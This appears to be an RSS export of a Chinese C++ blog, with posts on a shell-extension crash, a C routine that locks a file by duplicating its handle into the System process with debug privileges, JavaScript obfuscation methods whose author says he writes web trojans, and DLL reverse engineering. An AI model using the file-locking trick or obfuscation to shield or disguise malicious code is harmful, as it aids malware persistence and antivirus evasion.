<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">CFileDialog&nbsp;dlg(</span><span style="COLOR: #0000ff">true</span><span style="COLOR: #000000">);<br><img src="http://www.cppblog.com/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;dlg.DoModal();</span></div>
<br>第一次随便选择一个文件，第二次选择桌面的一个.txt文件，当鼠标移动到这个txt文件的时候，程序就挂了。怀疑是 微软的问题？<br><br>换api操作，照样挂。<br><br>换记事本，挂。<br><br>Windbg跟踪，找不到哪个模块，程序最后崩溃在shell32.dll，检查进程的dll模块，最后终于找到是Adobe的pdfshell.dll引起的。删除掉或者regsvr32 /u 卸载就可以了。水平有限，不能跟进那个dll去检查了。<br><br><br>pdf版本7.0.8.0 <br>系统xp sp2
<img src ="http://www.cppblog.com/elva/aggbug/53834.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2008-06-18 11:52 <a href="http://www.cppblog.com/elva/archive/2008/06/18/53834.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[转]一段精巧的代码~~ring3文件占坑大法</title><link>http://www.cppblog.com/elva/archive/2008/02/04/42511.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Mon, 04 Feb 2008 03:57:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2008/02/04/42511.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/42511.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2008/02/04/42511.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/42511.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/42511.html</trackback:ping><description><![CDATA[#include &lt;windows.h&gt;<br><br>BOOL OccupyFile( LPCTSTR lpFileName );<br><br><br>int main()<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;OccupyFile("c:\\aaa111.txt");<br><br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>}<br><br><br><br>void RaiseToDebugP()<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE hToken;<br>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE hProcess = GetCurrentProcess();<br>&nbsp;&nbsp;&nbsp;&nbsp;if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &amp;hToken) )<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TOKEN_PRIVILEGES tkp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &amp;tkp.Privileges[0].Luid) )<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tkp.PrivilegeCount = 1;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &amp;tkp, 0, NULL, 0) ;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(hToken);<br>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;&nbsp;&nbsp;&nbsp;<br>}<br><br>BOOL OccupyFile( LPCTSTR lpFileName )<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;BOOL&nbsp;&nbsp;&nbsp;&nbsp;bRet;<br>&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;RaiseToDebugP();<br><br>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4);&nbsp;&nbsp;&nbsp;&nbsp;// 4为system进程号<br><br>&nbsp;&nbsp;&nbsp;&nbsp;if ( hProcess == NULL )<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 8);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 2K下是 8??<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ( hProcess == NULL )<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE hFile;<br>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE hTargetHandle;<br><br>&nbsp;&nbsp;&nbsp;&nbsp;hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, NULL);&nbsp;&nbsp;&nbsp;&nbsp;<br><br><br>&nbsp;&nbsp;&nbsp;&nbsp;if ( hFile == INVALID_HANDLE_VALUE )<br>&nbsp;&nbsp;&nbsp;&nbsp;{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle( hProcess );<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br>&nbsp;&nbsp;&nbsp;&nbsp;}<br><br>&nbsp;&nbsp;&nbsp;&nbsp;bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &amp;hTargetHandle, <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);<br><br>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle( hProcess );<br><br>&nbsp;&nbsp;&nbsp;&nbsp;return bRet;<br>} 
<img src ="http://www.cppblog.com/elva/aggbug/42511.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2008-02-04 11:57 <a href="http://www.cppblog.com/elva/archive/2008/02/04/42511.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>清空代码防止查看源代码(ZT) </title><link>http://www.cppblog.com/elva/archive/2007/12/12/38312.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Wed, 12 Dec 2007 06:55:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/12/12/38312.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/38312.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/12/12/38312.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/38312.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/38312.html</trackback:ping><description><![CDATA[<div class=UBBPanel>HTML代码</div>
<div class=UBBContent><textarea id=temp88188 rows=8 cols=100>&lt;html&gt;
&lt;head&gt;
&lt;script language="javascript"&gt;
function clear(){
Source=document.body.firstChild.data;
document.open();
document.close();
document.title="看不到源代码";
document.body.innerHTML=Source;
}
&lt;/script&gt;
&lt;/head&gt;
&lt;body onload=clear()&gt;
&lt;!--
&lt;a href="www.mzwu.com"&gt;木子屋&lt;/a&gt;可惜你看不到！
--&gt;
&lt;/body&gt;
&lt;/html&gt;</textarea> <br><input onclick="runEx('temp88188')" type=button value=运行此代码> <input onclick="doCopy('temp88188')" type=button value=复制此代码> <br>[Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div>
<br><br>这招算是目前网上公布的防止查看源代码的方法中最好的了，当然了，要看还是办法的，比如在地址栏中输入<br><br>javascript:alert(document.documentElement.outerHTML); 
<img src ="http://www.cppblog.com/elva/aggbug/38312.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-12-12 14:55 <a href="http://www.cppblog.com/elva/archive/2007/12/12/38312.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JavaScript加密解密7种方法</title><link>http://www.cppblog.com/elva/archive/2007/12/12/38308.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Wed, 12 Dec 2007 06:29:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/12/12/38308.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/38308.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/12/12/38308.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/38308.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/38308.html</trackback:ping><description><![CDATA[<div class=postbody><span id=ad_02>本文一共介绍了七种javascript加密方法：<br><br>　　在做网页时（其实是网页木马呵呵），最让人烦恼的是自己辛辛苦苦写出来的客户端IE运行的javascript代码常常被别人轻易的拷贝，实在让自己的心里有点不是滋味，要知道自己写点东西也挺累的......^*^<br><br>　　但我们也应该清楚地认识到因为javascript代码是在IE中解释执行，要想绝对的保密是不可能的，我们要做的就是尽可能的增大拷贝者复制的难度，让他知难而退（但愿~!~），下面我结合自己这几年来的实践，及个人研究的心得，和大家一起来探讨一下网页中javascript代码的加密解密技术。<br><br>　　以加密下面的javascript代码为例：<br><br>&lt;SCRIPT LANGUAGE="javascript"&gt;<br>alert("《我爱一起》");<br>&lt;/SCRIPT&gt;<br><br>　　<strong>一：最简单的加密解密</strong><br><br>　　大家对于javascript函数escape()和unescape()想必是比较了解啦（很多网页加密在用它们），分别是编码和解码字符串，比如例子代码用escape()函数加密后变为如下格式：<br><br>alert%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B<br><br>　　如何？还看的懂吗？当然其中的ASCII字符"alert"并没有被加密，如果愿意我们可以写点javascript代码重新把它加密如下：<br><br>%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B<br><br>　　呵呵！如何？这次是完全都加密了！<br><br>　　当然，这样加密后的代码是不能直接运行的，幸好还有eval(codeString)可用，这个函数的作用就是检查javascript代码并执行，必选项 codeString 参数是包含有效 javascript 代码的字符串值，加上上面的解码unescape()，加密后的结果如下：<br><br>&lt;SCRIPT LANGUAGE="javascript"&gt;<br>var code=unescape("%61%6C%65%72%74%28%22%u9ED1%u5BA2%u9632%u7EBF%22%29%3B");<br>eval(code)<br>&lt;/SCRIPT&gt;
<p>　　是不是很简单？不要高兴，解密也就同样的简单，解密代码都摆给别人啦（unescape()）！呵呵<br><br>　　<strong>二：转义字符""的妙用</strong><br><br>　　大家可能对转义字符""不太熟悉，但对于javascript提供了一些特殊字符如：n （换行）、 r （回车）、' （单引号）等应该是有所了解的吧？其实""后面还可以跟八进制或十六进制的数字，如字符"a"则可以表示为："141"或"x61"（注意是小写字符"x"），至于双字节字符如汉字"黑"则仅能用十六进制表示为"u9ED1"（注意是小写字符"u"），其中字符"u"表示是双字节字符，根据这个原理例子代码则可以表示为：</p>
<p>　　八进制转义字符串如下:</p>
<p class=code>&lt;SCRIPT LANGUAGE="javascript"&gt;<br>eval("1411541451621645042u9ED1u5BA2u9632u7EBF425173")<br>&lt;/SCRIPT&gt;</p>
<p>　　十六进制转义字符串如下:</p>
<p class=code>&lt;SCRIPT LANGUAGE="javascript"&gt;<br>eval("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")<br>&lt;/SCRIPT&gt;</p>
<p>　　这次没有了解码函数，因为javascript执行时会自行转换，同样解码也是很简单如下：</p>
<p class=code>&lt;SCRIPT LANGUAGE="javascript"&gt;<br>alert("x61x6Cx65x72x74x28x22u9ED1u5BA2u9632u7EBFx22x29x3B")<br>&lt;/SCRIPT&gt;</p>
<p>　　就会弹出对话框告诉你解密后的结果！<br><br>　　<strong>三：使用Microsoft出品的脚本编码器Script Encoder来进行编码</strong><br><br>　　工具的使用就不多介绍啦！我是直接使用javascript调用控件Scripting.Encoder完成的编码！代码如下：</p>
<p class=code>&lt;SCRIPT LANGUAGE="javascript"&gt;<br>var Senc=new ActiveXObject("Scripting.Encoder");<br>var code='&lt;SCRIPT LANGUAGE="javascript"&gt;rnalert("《我爱一起》");rn&lt;/SCRIPT&gt;';<br>var Encode=Senc.EncodeScriptFile(".htm",code,0,"");<br>alert(Encode);<br>&lt;/SCRIPT&gt;</p>
<p>　　编码后的结果如下：</p>
<p class=code>&lt;SCRIPT LANGUAGE="JScript.Encode"&gt;#@~^FgAAAA==@#@&amp;lsDD`J黑客防线r#p@#@&amp;FgMAAA==^#~@&lt;/SCRIPT&gt;</p>
<p>　　够难看懂得吧？但相应的解密工具早已出来，而且连解密网页都有！因为其解密网页代码过多，我就不多说拉！给大家介绍一下我独创的解密代码，如下：</p>
<p>&lt;SCRIPT LANGUAGE="JScript.Encode"&gt;<br>function decode()<br>alert(decode.toString());<br>&lt;/SCRIPT&gt;</p>
<p>　　咋样？够简单吧？它是原理是：编码后的代码运行前IE会先对其进行解码，如果我们先把加密的代码放入一个自定义函数如上面的decode()中，然后对自定义函数decode调用toString()方法，得到的将是解码后的代码！</p>
<p>　　如果你觉得这样编码得到的代码LANGUAGE属性是JScript.Encode，很容易让人识破，那么还有一个几乎不为人知的window对象的方法execScript()，其原形为：</p>
<p class=code>　　window.execScript( sExpression, sLanguage ) </p>
<p>　　参数：<br><br>sExpression:　 必选项。字符串(String)。要被执行的代码。<br><br>sLanguage　:　 必选项。字符串(String)。指定执行的代码的语言。默认值为 Microsoft JScript<br><br>使用时，前面的"window"可以省略不写！</p>
<p>　　利用它我们可以很好的运行编码后的javascript代码，如下：</p>
<p class=code>&lt;SCRIPT LANGUAGE="javascript"&gt;<br>execScript("#@~^FgAAAA==@#@&amp;lsDD`J我爱一起r#p@#@&amp;FgMAAA==^#~@","JScript.Encode")<br>&lt;/SCRIPT&gt;</p>
<p>　　你可以利用方法二对其中的""号内的字符串再进行编码，使得"JScript.Encode"以及编码特征码"#@~^"不出现，效果会更好！</p>
<p>　　<strong>四：任意添加NUL空字符（十六进制00H）</strong><br><br>　　一次偶然的实验，使我发现在HTML网页中任意位置添加任意个数的"空字符"，IE照样会正常显示其中的内容，并正常执行其中的javascript 代码，而添加的"空字符"我们在用一般的编辑器查看时，会显示形如空格或黑块，使得原码很难看懂，如用记事本查看则"空字符"会变成"空格"，利用这个原理加密结果如下：（其中显示的"空格"代表"空字符"）</p>
<p class=code>&lt;S C RI P T L ANG U A G E =" J a v a S c r i p t "&gt; <br>a l er t ("&nbsp;我&nbsp;爱&nbsp;一 起") ; <br>&lt; / SC R I P T&gt;</p>
<p>　　如何？是不是显得乱七八糟的？如果不知道方法的人很难想到要去掉里面的"空字符"（00H）的！<br><br>　　<strong>五：无用内容混乱以及换行空格TAB大法</strong><br><br>　　在javascript代码中我们可以加入大量的无用字符串或数字，以及无用代码和注释内容等等，使真正的有用代码埋没在其中，并把有用的代码中能加入换行、空格、TAB的地方加入大量换行、空格、TAB，并可以把正常的字符串用""来进行换行，这样就会使得代码难以看懂！如我加密后的形式如下：</p>
<p class=code>&lt;SCRIPT LANGUAGE="javascript"&gt;<br>"xajgxsadffgds";1234567890<br>625623216;var $=0;alert//@$%%&amp;*()(&amp;(^%^<br>//cctv function//<br>(//hhsaasajx xc<br>/*<br>asjgdsgu*/<br>"我爱一起"//ashjgfgf<br>/*<br>@#%$^&amp;%$96667r45fggbhytjty<br>*/<br>//window<br>)<br>;"#@$#%@#432hu";212351436<br>&lt;/SCRIPT&gt;</p>
<p>　　至少如果我看到这样的代码是不会有心思去分析它的，你哪？<br><br>　　<strong>六：自写解密函数法</strong><br><br>　　这个方法和一、二差不多，只不过是自己写个函数对代码进行解密，很多VBS病毒使用这种方法对自身进行加密，来防止特征码扫描！下面是我写的一个简单的加密解密函数，加密代码如下（详细参照文件"加密.htm"）：</p>
<p class=code>&lt;SCRIPT LANGUAGE="javascript"&gt;<br>function compile(code)<br>{ <br>var c=String.fromCharCode(code.charCodeAt(0)+code.length);<br>for(var i=1;i&lt;code.length;i++)<br>alert(escape(c));<br>}<br>compile('alert("《我爱一起》");')<br>&lt;/SCRIPT&gt;</p>
<p>　　运行得到加密结果为：</p>
<p class=code>o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd</p>
<p>　　相应的加密后解密的代码如下：</p>
<p class=code>&lt;SCRIPT LANGUAGE="javascript"&gt;<br>function uncompile(code)<br>{<br>code=unescape(code);<br>var c=String.fromCharCode(code.charCodeAt(0)-code.length);<br>for(var i=1;i&lt;code.length;i++)<br>return c;<br>}<br>eval(uncompile("o%CD%D1%D7%E6%9CJ%u9EF3%uFA73%uF1D4%u14F1%u7EE1Kd"));<br>&lt;/SCRIPT&gt;</p>
<p>　　<strong>七：错误的利用</strong><br><br>　　利用try{}catch(e){}结构对代码进行测试解密，虽然这个想法很好（呵呵，夸夸自己），因为实用性不大，我仅给个例子</p>
<p class=code>&lt;SCRIPT LANGUAGE="javascript"&gt;<br>var a='alert("《我爱一起》");';<br>var c="";<br>for(var i=0;i&lt;a.length;i++)<br>alert(c);<br>//上面的是加密代码，当然如果真正使用这个方法时，不会把加密写上的<br>//现在变量c就是加密后的代码<br>//下面的函数t()先假设初始密码为０，解密执行，<br>//遇到错误则把密码加１，然后接着解密执行，直到正确运行<br>var d=c; //保存加密后的代码<br>var b=0; //假定初始密码为0<br>t();<br>function t()catch(e){<br>c="";<br>for(var i=0;i&lt;d.length;i++)<br>b+=1;<br>t();<br>//setTimeout("t()",0);<br>}<br>}<br>&lt;/SCRIPT&gt;</p>
</span></div>
<img src ="http://www.cppblog.com/elva/aggbug/38308.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-12-12 14:29 <a href="http://www.cppblog.com/elva/archive/2007/12/12/38308.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>调用未知DLL中的导出函数  </title><link>http://www.cppblog.com/elva/archive/2007/10/30/35520.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Tue, 30 Oct 2007 07:20:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/10/30/35520.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/35520.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/10/30/35520.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/35520.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/35520.html</trackback:ping><description><![CDATA[<p>&nbsp;</p>
<p>不知道诸位看官是否有过这样的经历：在不经意之间发现一个DLL文件，它里边有不少有趣的导出函数——但是由于你不知道如何调用这些函数，所以只能大发感慨而又无能为力焉。固然有些知名的DLL可以直接通过搜索引擎来找到它的使用方式（比如本文中的例子ipsearcher.dll），不过我们诚然不能希望自己总能交到这样的好运。所以在本文中，李马希望通过自己文理不甚通达的讲解能够给大家以授人以渔的效果。</p>
<p><strong>先决条件</strong></p>
<p>阅读本文，你需要具备以下先决条件：</p>
<ul>
    <li>初步了解汇编语言，虽然你并不一定需要去读懂DLL中导出函数的汇编代码，但是你至少应该了解诸如push、mov这些常用的汇编指令。
    <li>一个能够查看DLL中导出函数的工具，Visual Studio中自带的Dependency Walker就足够胜任了，当然你也可以选择eXeScope。
    <li>一个调试器。理论上讲VC也可以完成调试的工作，但它毕竟是更加针对于源代码一级调试的工具，所以你最好选择一个专用的汇编调试器。在本文中我用的是OllyDbg——我不会介绍有关这个调试工具的任何东西，而只是简要介绍我的调试过程。 </li>
</ul>
<p>准备好了吗？那么我们做一个热身运动吧先。</p>
<p><strong>热身——函数调用约定</strong></p>
<p>这里要详细介绍的是有关函数调用约定的内容，如果你已经了解了这方面的内容，可以跳过本节。</p>
<p>你可能在学习Windows程序设计的时候早已接触过&#8220;函数调用约定&#8221;这个词汇了，那个时候你所了解的内容可能是一个笼统的概念，内容大抵是说函数调用约定就是指的函数参数进栈顺序以及堆栈修正方式。譬如cdecl调用约定是函数参数自右而左进栈，由调用者修复堆栈；stdcall调用约定亦是函数参数自右而左进栈，但是由被调用者修复堆栈&#8230;&#8230;噢不，这太晦涩了——在源代码上我们是无法看到这些东西的！</p>
<p>那么我们别无选择，只有深入到汇编一层了。考虑以下C++代码：</p>
<p>
<table class=codetable cellSpacing=1 border=0>
    <tbody>
        <tr>
            <td><code><font color=#0000ff>#include</font>&nbsp;&lt;stdio.h&gt;<br><br><font color=#0000ff>int</font>&nbsp;<font color=#0000ff>__cdecl</font>&nbsp;max1(&nbsp;<font color=#0000ff>int</font>&nbsp;a,&nbsp;<font color=#0000ff>int</font>&nbsp;b&nbsp;)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=#0000ff>return</font>&nbsp;a&nbsp;&gt;&nbsp;b&nbsp;?&nbsp;a&nbsp;:&nbsp;b;<br>}<br><br><font color=#0000ff>int</font>&nbsp;<font color=#0000ff>__stdcall</font>&nbsp;max2(&nbsp;<font color=#0000ff>int</font>&nbsp;a,&nbsp;<font color=#0000ff>int</font>&nbsp;b&nbsp;)<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=#0000ff>return</font>&nbsp;a&nbsp;&gt;&nbsp;b&nbsp;?&nbsp;a&nbsp;:&nbsp;b;<br>}<br><br><font color=#0000ff>int</font>&nbsp;main()<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;printf(&nbsp;"max(&nbsp;1,&nbsp;2&nbsp;)&nbsp;of&nbsp;cdecl&nbsp;version:&nbsp;%d\n",&nbsp;max1(&nbsp;1,&nbsp;2&nbsp;)&nbsp;);<br>&nbsp;&nbsp;&nbsp;&nbsp;printf(&nbsp;"max(&nbsp;1,&nbsp;2&nbsp;)&nbsp;of&nbsp;stdcall&nbsp;version:&nbsp;%d\n",&nbsp;max2(&nbsp;1,&nbsp;2&nbsp;)&nbsp;);<br>&nbsp;&nbsp;&nbsp;&nbsp;<font color=#0000ff>return</font>&nbsp;0;<br>}</code></td>
        </tr>
    </tbody>
</table>
</p>
<p>对应的汇编代码为：</p>
<p>
<table class=codetable cellSpacing=1 border=0>
    <tbody>
        <tr>
            <td><code><font color=#008000>; int __cdecl max1( int a, int b )</font><br>00401000 MOV EAX,DWORD PTR SS:[ESP+4]<br>00401004 MOV ECX,DWORD PTR SS:[ESP+8]<br>00401008 CMP EAX,ECX<br>0040100A JG SHORT CppTest.0040100E<br>0040100C MOV EAX,ECX<br>0040100E RETN<br><br><font color=#008000>; int __stdcall max2( int a, int b )</font><br>00401010 MOV EAX,DWORD PTR SS:[ESP+4]<br>00401014 MOV ECX,DWORD PTR SS:[ESP+8]<br>00401018 CMP EAX,ECX<br>0040101A JG SHORT CppTest.0040101E<br>0040101C MOV EAX,ECX<br>0040101E RETN 8 <font color=#008000>; 被调用者的堆栈修正</font><br><br><font color=#008000>; max1( 1, 2 )</font><br>00401030 PUSH 2<br>00401032 PUSH 1<br>00401034 CALL CppTest.00401000<br>00401039 ADD ESP,8 <font color=#008000>; 调用者的堆栈修正</font><br><br><font color=#008000>; max2( 1, 2 )</font><br>0040104A PUSH 2<br>0040104C PUSH 1<br>0040104E CALL CppTest.00401010</code></td>
        </tr>
    </tbody>
</table>
</p>
<p>好了，我来简要介绍一下。函数参数传入函数体是借由堆栈段完成的，也就是将各个参数依某种次序推入SS中——在cdecl与stdcall约定中，这个次序都是自右而左的。另外，由于将参数推入了堆栈致使堆栈指针ESP发生了变化，所以要在函数结束的时候重新修正ESP。从上边的汇编代码中你也可以很清楚地看到，cdecl约定是在调用max1之后修正的ESP，而stdcall约定则是在max2返回时借由RETN 8完成了这个修正工作。</p>
<p>另外，从上边的汇编代码中还可以看到，函数的返回值是由EAX带回的。</p>
<p><strong>庖丁解牛</strong></p>
<p>在了解了以上的知识后，我们就可以使用调试器来调试那个未知的DLL了。可以说，这整个的调试过程充满了惊险和刺激，而且我们还需要一定的技巧——如果你像我一样不喜欢阅读汇编代码的话。</p>
<p>在本文中，我所选择的调试示例是FTerm中附带的ipsearcher.dll，它提供了对纯真IP数据库的查询接口。下图是用Dependency Walker对其分析的结果：</p>
<p><img height=313 alt="" src="http://www.cppblog.com/images/cppblog_com/elva/img/dllexport1.gif" width=501 border=0></p>
<p>你可以看到，这里边有两个导出函数：LookupAddress和_GetAddress，那么我们可以按照返回值、调用约定、函数名、参数列表的顺序将它们声明如下：</p>
<p>
<table class=codetable cellSpacing=1 border=0>
    <tbody>
        <tr>
            <td><code>? ? LookupAddress( ? );<br>? ? _GetAddress( ? );</code></td>
        </tr>
    </tbody>
</table>
</p>
<p>是的，有太多的未知，下面李马将要逐一地破解这些问号。</p>
<p>调试器不可能孤立地对DLL进行调试，我们所需要的应该是一个合适的EXE，这样有助于我们的探究工作。在这里我选择的EXE是我编写的ipsearcher.exe，当然这可能会让你认为我这篇文章的组织顺序有问题——毕竟是我已经知道了这两个导出函数之后（编写了ipsearcher.exe）还要假装成不知道的样子来对ipsearcher.dll来进行探究，所以我决定在下文中不对ipsearcher.exe的代码进行任何关注，而是直接进入到ipsearcher.dll的领空。</p>
<p><img height=144 alt="" src="http://www.cppblog.com/images/cppblog_com/elva/img/dllexport2.gif" width=287 border=0></p>
<p>打开调试器，载入ipsearcher.exe。当ipsearcher.dll被装载后，会引发一个访问异常，可以忽略这个异常继续调试。根据Dependency Walker的分析结果，在ipsearcher.dll的0x00001BB0和0x00001C40处各下一个断点。现在在&#8220;IP地址&#8221;中输入一个IP地址（这里以<a href="http://bbs.nuc.edu.cn/" target=_blank><font color=#000080>寒泉BBS</font></a>的IP为例），点击&#8220;查询&#8221;，会发现指令跳入0x00001C40中（也就是_GetAddress），它的代码如下：</p>
<p>
<table class=codetable cellSpacing=1 border=0>
    <tbody>
        <tr>
            <td><code>10001C40 MOV EAX,DWORD PTR SS:[ESP+4] <font color=#008000>; 一个参数</font><br>10001C44 PUSH ipsear_1.10009BE8<br>10001C49 PUSH EAX<br>10001C4A CALL ipsear_1.LookupAddress <font color=#008000>; 两个参数</font><br>10001C4F ADD ESP,8 <font color=#008000>; LookupAddress是cdecl调用约定</font><br>10001C52 MOV EAX,ipsear_1.10009BE8<br>10001C57 RETN <font color=#008000>; _GetAddress这厮也是cdecl调用约定</font></code></td>
        </tr>
    </tbody>
</table>
</p>
<p>很短的几行代码，不过它已经可以提供这些信息了：</p>
<ul>
    <li>从SS的使用来看，_GetAddress只带有一个参数。
    <li>_GetAddress中调用了LookupAddress，后者带有两个参数。
    <li>调用LookupAddress之后进行了堆栈修正，所以LookupAddress是cdecl调用约定。
    <li>_GetAddress返回时并未进行堆栈修正，所以_GetAddress也是cdecl调用约定。 </li>
</ul>
<p>于是，我们可以替换一下刚才的问号了：</p>
<p>
<table class=codetable cellSpacing=1 border=0>
    <tbody>
        <tr>
            <td><code>? CDECL LookupAddress( ?, ? );<br>? CDECL _GetAddress( ? );</code></td>
        </tr>
    </tbody>
</table>
</p>
<p>下面可以进行单步调试了，当代码步至10001C44时，你会发现寄存器窗口发生了如下的变化：</p>
<p><img height=133 alt="" src="http://www.cppblog.com/images/cppblog_com/elva/img/dllexport3.gif" width=238 border=0></p>
<p>&#8220;202.207.177.9&#8221;终于出现了，这样一来我们可以继续对问号进行替换了：</p>
<p>
<table class=codetable cellSpacing=1 border=0>
    <tbody>
        <tr>
            <td><code>? CDECL LookupAddress( PCSTR, ? );<br>? CDECL _GetAddress( PCSTR );</code></td>
        </tr>
    </tbody>
</table>
</p>
<p>现在继续对代码进行跟踪，是进入LookupAddress的时候了。我们可以从先前_GetAddress的代码中可以发现，这两个导出函数一直在围绕10009BE8这个地址做文章，那么我们就要在单步调试LookupAddress的同时关注这个地址的数据改变。几步跟踪之后，你会发现10009BE8开头的8字节（两个DWORD）数据发生了改变，变成了10009AB4和10009B1C。那么我们再转向这两个地址，会发现：</p>
<p><img height=164 alt="" src="http://www.cppblog.com/images/cppblog_com/elva/img/dllexport4.gif" width=445 border=0></p>
<p>这样一来就很清楚了，10009BE8是一个字符串指针的数组，它有两个元素。也就是说，我们的函数声明可以换成这样：</p>
<p>
<table class=codetable cellSpacing=1 border=0>
    <tbody>
        <tr>
